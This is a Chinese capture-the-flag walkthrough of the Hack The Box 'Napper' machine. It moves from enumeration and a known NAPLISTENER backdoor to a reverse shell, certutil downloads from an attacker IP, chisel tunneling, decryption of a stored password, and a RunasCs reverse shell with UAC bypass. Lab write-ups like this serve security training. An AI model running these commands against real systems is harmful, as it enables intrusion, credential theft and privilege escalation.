[Meachines][Hard]Napper

Main

$ nmap -p- -sC -sV 10.10.11.240 --min-rate 1000

image.png

$ curl http://10.10.11.240

image.png

$ gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k
博客
image.png

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"

image.png

# echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts

基础验证框
image.png

在https://app.napper.htb/posts/setup-basic-auth-powershell/描述了如何用powershell新建一个基础身份认证的命令

image.png

输入示例用户名和密码成功进入internal.napper.htb

image.png

该内部页面发布了一篇关于NAPLISTENER(Ruben)恶意软件

image.png

Detail

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

弹性安全实验室在追溯REF2924组织时观察到攻击者将优先事项从数据窃取转移到使用多种机制保持持久访问。2023年1月20日,创建了一个新的可执行文件 Wmdtc.exe,并使用类似于 Microsoft 分布式事务协调器服务 (Msdtc.exe) 的合法二进制的命名约定将其安装为 Windows 服务。

Wmdtc.exe 是一个用 C# 编写的 HTTP 监听器,我们称之为 NAPLISTENER。与 SIESTAGRAPH 和其他由此威胁开发或使用的恶意软件系列一致,NAPLISTENER 似乎旨在规避基于网络的检测形式。值得注意的是,在这个威胁主要活跃的地区(南亚和东南亚),基于网络和日志的检测方法是普遍存在的。

Analysis

这个独特的恶意软件样本包含一个名为 MsEXGHealthd 的 C# 类,它由三个方法组成:Main、SetRespHeader 和 Listener。这个类建立了一个 HTTP 请求监听器,可以处理来自互联网的传入请求,并通过过滤恶意命令并透明地传递合法的网络流量来相应。这个类在下面的图片中描述了出来。

image.png

当程序运行并创建一个线程对象时,将调用 Main 方法,该线程对象将由 Listener 方法使用。然后,该线程被设置为休眠 0 毫秒,然后启动。实现休眠功能与 SIESTAGRAPH、NAPLISTENER 和此组织开发或使用的其他恶意软件一致。

SetRespHeader 方法设置 HTTP 响应的响应头。它以一个 HttpListenerResponse 对象作为参数,并定义诸如 Server、Content-Type 和 X-Powered-By 等头部信息。在一个被积极针对的受害者环境中,IIS Web 服务器会返回一个带有 Server 头部包含 Microsoft-IIS/10.0 的 404 响应,除非特定的参数存在。

image.png

然而,当请求监听器 URI 时出现 404 错误时,会额外添加 Content-Type: text/html; charset=utf-8 作为一个头部。当安装了 NAPLISTENER 时,字符串 Microsoft-HTTPAPI/2.0 会被追加到 Server 头部。这种行为使得监听器变得可检测,并且不会生成 404 错误。很可能选择这种过滤方法是为了避免被网络扫描器和类似技术发现

防御者可能本能地在 IIS Web 服务器日志中搜索这些错误,但 NAPLISTENER 植入程序在内联执行,并且 Windows 将会将这些请求重定向到注册的应用程序,从而使得恶意软件能够确保这些错误永远不会到达 Web 服务器日志,分析人员也不会看到它们。此外,摄取 Web 服务器日志的安全工具将没有机会识别这些行为。

image.png

Listener 方法是 NAPLISTENER 中大部分工作发生的地方。

首先,该方法创建一个 HttpListener 对象来处理传入的请求。如果正在使用的平台支持 HttpListener(应该是的),它会向监听器添加一个前缀,并启动它。

一旦运行,它就会等待传入的请求。当收到请求时,它会读取提交的任何数据(存储在一个 Form 字段中),将其从 Base64 格式解码,并使用解码后的数据创建一个新的 HttpRequest 对象。它创建了一个 HttpResponse 对象和一个 HttpContext 对象,并使用这两个对象作为参数。如果提交的 Form 字段包含 sdafwe3rwe23,则会尝试创建一个程序集对象,并使用 Run 方法来执行它。

这意味着任何发送到 /ews/MsExgHealthCheckd/ 的 Web 请求,如果其中包含一个在 sdafwe3rwe23 参数中以 Base64 编码的 .NET 程序集,该程序集将被加载并在内存中执行。值得注意的是,该二进制运行在一个单独的进程中,与运行的 IIS 服务器没有直接关联。

如果由于某种原因(例如,数据无效或缺失)导致操作失败,则会发送一个带有空主体的“404 Not Found”响应。在发送任何响应后,流会被刷新并关闭连接,然后再次循环以等待更多传入请求。

Main

根据细节描述,我们使用NAPLISTENER扫描工具
该工具可以在Linux或Windows平台运行,会自动下载依赖程序
https://github.com/MartinxMax/

$ python3 Naplistener.py -u "https://napper.htb"

扫描目标,确认存在后门

image.png

$ python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032
反向shell
image.png

image.png

User Flag

> type C:\Users\ruben\Desktop\user.txt
image.png

acfc1c341ef2ec0ea83e1c14899371c2

Root Flag

C:\Temp\www\internal\content\posts>type no-more-laps.md

title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
我们正在摒弃LAPS,采用我们自己的定制解决方案。备份用户的密码将存储在本地的Elastic数据库中。
IT部门将在准备就绪后将解密客户端部署到管理员桌面上。
我们预计开发很快就会准备就绪。恶意软件逆向工程团队将是第一个测试组。

image.png

C:\Temp\www\internal\content\posts\internal-laps-alpha> dir
在目录internal-laps-alpha下存在一个a.exe
image.png

.env文件显示了运行在本地主机端口9200上的Elasticsearch服务的凭据。

username:user
password:DumpPassword$Here

image.png

c:\Temp> powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe

image.png

[kali]

$ chisel server --port 9201 --reverse
image.png
[靶机]

注意这里的映射端口不要与Kali服务器端监听的端口重复

c:\Temp>.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200

image.png

9200端口
Elasticsearch是一个分布式、开源的搜索和分析引擎,适用于各种类型的数据。它以其速度、可扩展性和简单的REST API而闻名。基于Apache Lucene构建,Elasticsearch于2010年首次由Elasticsearch N.V.发布(现在称为Elastic)。Elasticsearch是Elastic Stack的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈,通常称为ELK Stack,还包括Logstash和Kibana,现在还有轻量级的数据传输代理称为Beats。

$ curl -k https://127.0.0.1:9200 -u 'user:DumpPassword$Here'

image.png

尝试检索存储在Elasticsearch数据库中的所有索引

$ curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'

image.png

在Elasticsearch数据库中有两个索引,分别是"seed"和"user-00001"。"seed"索引包含一个名为"seed"的字段的文档。

$ curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' |jq

"user-00001"索引包含一个名为"blob"的字段的文档,其数据似乎是一个Base64编码的密码哈希值。

image.png

Reverse Engineering

在kali中创建临时的FTP服务

$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21
image.png
本主机文件上传至FTP服务器

$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.15/

从FTP服务器将文件下载至本主机

$ curl -O -u martin:martin ftp://10.10.16.15/file.txt

在目录C:\Temp\www\internal\content\posts\internal-laps-alpha将a.exe上传到kali

$ curl -T a.exe -u martin:martin ftp://10.10.16.15/

image.png

image.png

逆向分析:https://binary.ninja/free/

在将文件导入Binary Ninja后,从"Symbols"面板中的go:buildid条目可以明显看出我们正在处理的是一个用Golang编写的可执行文件。因此,我们的重点转向了代码中的main.main函数,这是程序的入口点。

在 main.main 函数中,我们看到引用了 github.com/joho/godotenv 包。进一步往下看,我们注意到了 ELASTICURI 和 ELASTICUSER 变量的使用。这表明程序在 main.main 函数的开头从 .env 文件中加载这些变量。随后,默认的 Elasticsearch 库被用于建立连接。

image.png

在接下来的部分中,我们看到对三个函数的调用:

main.randStringList
main.genKey
main.encrypt

image.png

检查 main.randStringList 函数,我们可以看到它首先将字母表放入一个数组中

image.png

然后它遍历数组以从字母表集中随机选择值

image.png

检查main.genKey函数后,我们观察到代码正在生成一个随机的16字节密钥。值得注意的是,在此操作之前,设置了一个种子。此种子对应于从Elasticsearch中的种子索引中检索到的值。这意味着如果我们知道种子值,我们就可以复制相同的密钥

image.png

继续分析 main.encrypt 函数,通过追踪执行的左分支,我们可以看到它在将数据编码为 base64 之前使用了 AES 密码反馈(CFB)算法对数据进行加密

image.png

image.png

该二进制文件生成一个随机字符串,生成一个密钥,并可能使用该密钥对随机字符串进行加密。生成的输出可能是存储在 Elasticsearch 中的 user-00001 索引中的 base64 编码数据。回顾一下 main.main 函数,我们看到了对 net user 命令的引用。由于这里字符串的格式有些模糊,但是通过之前阅读的草稿文章提供的额外细节,很明显可以看出正在使用 net user backup 命令来更改备份用户的密码。使用在 Elasticsearch 数据库中发现的种子,我们可以创建一个相同的密钥并解密有效负载。

package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
mrand "math/rand"
"os"
"strconv"
)
func genKey(seed_key string) []byte {
seed, _ := strconv.Atoi(seed_key)
mrand.Seed(int64(seed))
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(mrand.Intn(255-1) + 1)
}
return key
}
func decrypt(key []byte, cryptoText string) string {
ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
func main() {
seed_key := genKey(os.Args[1])
decrypted_pass := decrypt(seed_key, os.Args[2])
fmt.Println("Decrypted pass: ", decrypted_pass)
}

这个 Go 脚本根据作为命令行参数提供的种子值生成一个随机密钥。使用这个密钥,它解密一个 base64 编码的密文。解密过程涉及使用生成的密钥初始化一个 AES 密码块,从密文中分离初始化向量 iv,然后使用 CFB 模式解密密文。最后,它将解密后的明文密码打印到控制台上

$ go build decrypt.go

image.png

$ ./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"
image.png

username:backup
password:mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg

我们成功获取了用户备份的密码。
现在,让我们继续使用 RunasCs.exe 在我们的 shell 中以备份用户身份运行命令。

> powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe

> .\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac

image.png

image.png

> type c:\users\administrator\desktop\root.txt

image.png

26f995d74ea1f7b576938bbf0de6ee1b

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/6774.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用LMDeploy部署和量化Llama 3模型

## 引言 在人工智能领域&#xff0c;大型语言模型&#xff08;LLMs&#xff09;正变得越来越重要&#xff0c;它们在各种自然语言处理任务中发挥着关键作用。Llama 3是近期发布的一款具有8B和70B参数量的模型&#xff0c;它在性能和效率方面都取得了显著的进步。为了简化Llama …

一文看懂Oozie面试题及参考答案

目录 描述Apache Oozie的主要功能和用途 解释Oozie在Hadoop生态系统中的作用 Oozie如何帮助管理和执行Hadoop作业

BUUCTF---misc---菜刀666

1、下载附件&#xff0c;在wireshark中分析 2、题目说是菜刀&#xff0c;联想到http协议的post方法 3、使用命令过滤 http.request.methodPOST 4、打开数据包&#xff0c;发现有个不一样 这里面有一大串的数据包 5、追踪http数据流&#xff0c;发现z2后面是一个jpg文件的文件…

中仕公考:哪些情况不能考公务员?

1.年龄不符合 主要分两类【一类是未成年人&#xff0c;另一类是超龄人员】 具体来讲:年龄一般为18周岁以上、35周岁以下 (2024国考标准是1987年10月至2005年10月期间出生&#xff09; 对于2024年应届硕士、博士研究生(非在职人员)放宽到40周岁以下(2024国考标准是1982年10月以后…

GitHub Desktop安装与使用教程

GitHub Desktop 是GitHub公司推出的一款桌面应用程序&#xff0c;旨在帮助开发人员更轻松使用GitHub。它提供了一个直观的用户界面&#xff0c;允许用户通过图形化界面来执行常见的 Git 操作&#xff0c;如克隆仓库、创建分支、提交更改、合并代码等。 GitHub Desktop 的设计使…

Spring - 7 ( 13000 字 Spring 入门级教程 )

一&#xff1a;Spring Boot 日志 1.1 日志概述 日志对我们来说并不陌生&#xff0c;我们可以通过打印日志来发现和定位问题, 或者根据日志来分析程序的运行过程&#xff0c;但随着项目的复杂度提升, 我们对日志的打印也有了更高的需求, 而不仅仅是定位排查问题 比如有时需要…

基于JSP的酒店客房管理系统(二)

目录 第二章 相关技术介绍 2.1 Jsp的简介 2.2 sql server 2005 的简介 第三章 系统的分析与设计 3.1 系统需求分析 1&#xff0e;理解需求 2&#xff0e;需求分析 3.2开发及运行环境 3.3功能模块的设计 3.3.1 设计目标 3.3.2 客房管理系统前台的设计 3.3.3 操作员管…

[QNX] mmap+cache/nocache+memcpy/asm_memcpy速度对比

mmap nocache介绍 以linux系统的nocache介绍&#xff1a; 在Linux系统中&#xff0c;使用mmap映射文件到内存时可以指定不使用缓存。这可以通过在调用mmap时将MAP_NOCACHE标志传递给mmap函数来实现。 MAP_NOCACHE标志告诉内核不要将映射的内存页缓存到文件系统缓存中&#xff…

nginxconfig.io项目nginx可视化配置--搭建-视频

项目地址 https://github.com/digitalocean/nginxconfig.io搭建视频 nginxconfig.io搭建 nginxconfig.io搭建 展示效果 找到这个项目需要的docker镜像&#xff0c;有项目需要的node的版本 docker pull node:20-alpine运行这个node容器,在主机中挂载一个文件夹到容器中 主机&a…

Python语言例题集(013)

#!/usr/bin/python3 #建立循环链表。 class Node(): def init(self,dataNone): self.datadata self.nextNone n1Node(5) n2Node(15) n3Node(25) n1.nextn2 n2.nextn3 n3.nextn1 ptrn1 counter1 while counter<6: print(ptr.data) ptrptr.next counter1

ES相关性计算原理

了解es搜索过程中的相关性计算原理&#xff0c;对判断当前应用场景是否适合使用es来召回相关结果至关重要。本篇博文尝试对es在每一个节点执行搜索时如何计算query和经由倒排索引查询到的对应字段文本之间的相关性做简要说明。 ES搜索过程&#xff08;节点层面&#xff09; ES…

2024.4.27 —— LeetCode 高频题复盘

目录 102. 二叉树的层序遍历33. 搜索旋转排序数组121. 买卖股票的最佳时机200. 岛屿数量20. 有效的括号88. 合并两个有序数组141. 环形链表46. 全排列236. 二叉树的最近公共祖先 102. 二叉树的层序遍历 题目链接 Python 方法一 # Definition for a binary tree node. # clas…

深入浅出区块链技术:原理、应用与挑战

区块链技术是一种分布式数据库技术&#xff0c;其核心在于提供一个去中心化、不可篡改的数据记录系统。以下是区块链技术的原理、应用和面临的挑战的详细解析&#xff1a; ### 原理 1. **去中心化**&#xff1a;区块链技术不依赖于中央控制点&#xff0c;而是通过网络上的多个…

菜鸡学习netty源码(五)—— EventLoop

1.EventLoop的类关系图 2. EventExecutor /*** 返回自身的对象* Returns a reference to itself.*/OverrideEventExecutor next();/*** 获取所属的EventExecutorGroup* Return the {link EventExecutorGroup} which is the parent of this {link EventExecutor},*/EventExecuto…

利用大语言模型(KIMI)构建智能产品的信息模型

数字化的核心是数字化建模&#xff0c;为一个事物构建数字模型是一件非常繁杂和耗费人工的事情。利用大语言模型&#xff0c;能够轻松地生成设备的信息模型&#xff0c;我们的初步实验表明&#xff0c;只要提供足够的模板&#xff0c;就能够准确地生成设备的数字化模型。 我们尝…

Pytorch 实现 GAN 对抗网络

GAN 对抗网络 GAN&#xff08;Generative Adversarial Network&#xff09;对抗网络指的是神经网络中包括两个子网络&#xff0c;一个用于生成信息&#xff0c;一个用于验证信息。下面的例子是生成图片的对抗网络&#xff0c;一个网络用于生成图片&#xff0c;另一个网络用于验…

debootstrap构建基于Debian的嵌入式系统的rootfs

嵌入式芯片&#xff1a;iMX6ULL 准备环境&#xff1a; 确保您的开发机器已安装debootstrap和qemu-user-static&#xff08;如果您在非ARM机器上构建ARM rootfs&#xff09;。 sudo apt-get updatesudo apt-get install debootstrap qemu-user-static使用debootstrap创建rootf…

[C++基础学习-06]----C++指针详解

前言 指针是一个存储变量地址的变量&#xff0c;可以用来访问内存中的数据。在C中&#xff0c;指针是一种非常有用的数据类型&#xff0c;可以帮助我们在程序中对内存进行操作和管理。 正文 01-指针简介 指针的基本概念如下&#xff1a; 声明指针&#xff1a;使用“*”符…

Python零基础快速入门学习笔记

文章目录 1. 安装python2. 安装vscode3. python语法3.1 流程控制3.1.1 条件语句3.1.2 循环语句 3.2 模块与包3.2.1 模块3.2.2 包 3.3 数据类型3.3.1 数字&#xff08;Number&#xff09;3.3.2 字符串&#xff08;string&#xff09;3.3.3 列表&#xff08;list&#xff09;3.3.…

[单片机课设]十字路口交通灯的设计

题目要求&#xff1a; 模拟交通灯运行情况。南北绿灯亮30秒&#xff0c;南北黄灯亮3秒&#xff0c;东西红灯亮33秒&#xff1b;南北红灯亮33秒&#xff0c;东西绿灯亮30秒&#xff0c;东西黄灯亮3秒&#xff1b;要求数码管同步显示时间的倒计时&#xff0c;用定时器实现延时。…